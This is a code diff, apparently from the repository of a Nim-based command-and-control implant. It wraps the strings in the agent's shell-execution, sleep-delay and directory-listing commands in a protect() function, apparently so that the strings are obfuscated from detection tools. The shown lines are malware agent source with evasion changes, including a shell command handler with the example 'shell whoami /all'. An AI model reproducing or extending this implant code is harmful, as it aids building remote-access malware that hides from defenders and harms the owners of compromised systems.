echo protect(" [>] Retrieving current working directory.")
|
||||
|
||||
try:
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
@@ -126,7 +126,7 @@ when defined(agent):
|
||||
# Parse arguments
|
||||
let targetDirectory = Bytes.toString(task.args[0].data)
|
||||
|
||||
echo fmt" [>] Changing current working directory to {targetDirectory}."
|
||||
echo protect(" [>] Changing current working directory to {targetDirectory}.")
|
||||
|
||||
try:
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
@@ -235,7 +235,7 @@ when defined(agent):
|
||||
var
|
||||
localTime: FILETIME
|
||||
systemTime: SYSTEMTIME
|
||||
dateTimeStr = "01/01/1970 00:00:00"
|
||||
dateTimeStr = protect("01/01/1970 00:00:00")
|
||||
|
||||
if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
|
||||
# Format date and time in PowerShell style
|
||||
@@ -244,7 +244,7 @@ when defined(agent):
|
||||
# Format file size
|
||||
var sizeStr = ""
|
||||
if isDir:
|
||||
sizeStr = "<DIR>"
|
||||
sizeStr = protect("<DIR>")
|
||||
else:
|
||||
sizeStr = ($fileSize).replace("-", "")
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import ../common/types
|
||||
import ../common/[types, utils]
|
||||
|
||||
# Define function prototype
|
||||
proc executeShell(ctx: AgentCtx, task: Task): TaskResult
|
||||
@@ -6,13 +6,13 @@ proc executeShell(ctx: AgentCtx, task: Task): TaskResult
|
||||
# Command definition (as seq[Command])
|
||||
let commands*: seq[Command] = @[
|
||||
Command(
|
||||
name: "shell",
|
||||
name: protect("shell"),
|
||||
commandType: CMD_SHELL,
|
||||
description: "Execute a shell command and retrieve the output.",
|
||||
example: "shell whoami /all",
|
||||
description: protect("Execute a shell command and retrieve the output."),
|
||||
example: protect("shell whoami /all"),
|
||||
arguments: @[
|
||||
Argument(name: "command", description: "Command to be executed.", argumentType: STRING, isRequired: true),
|
||||
Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: STRING, isRequired: false)
|
||||
Argument(name: protect("command"), description: protect("Command to be executed."), argumentType: STRING, isRequired: true),
|
||||
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the command."), argumentType: STRING, isRequired: false)
|
||||
],
|
||||
execute: executeShell
|
||||
)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import ../common/types
|
||||
import ../common/[types, utils]
|
||||
|
||||
# Define function prototype
|
||||
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
|
||||
@@ -6,12 +6,12 @@ proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
|
||||
# Command definition (as seq[Command])
|
||||
let commands* = @[
|
||||
Command(
|
||||
name: "sleep",
|
||||
name: protect("sleep"),
|
||||
commandType: CMD_SLEEP,
|
||||
description: "Update sleep delay configuration.",
|
||||
example: "sleep 5",
|
||||
description: protect("Update sleep delay configuration."),
|
||||
example: protect("sleep 5"),
|
||||
arguments: @[
|
||||
Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
|
||||
Argument(name: protect("delay"), description: protect("Delay in seconds."), argumentType: INT, isRequired: true)
|
||||
],
|
||||
execute: executeSleep
|
||||
)
|
||||
|
||||
Reference in New Issue
Block a user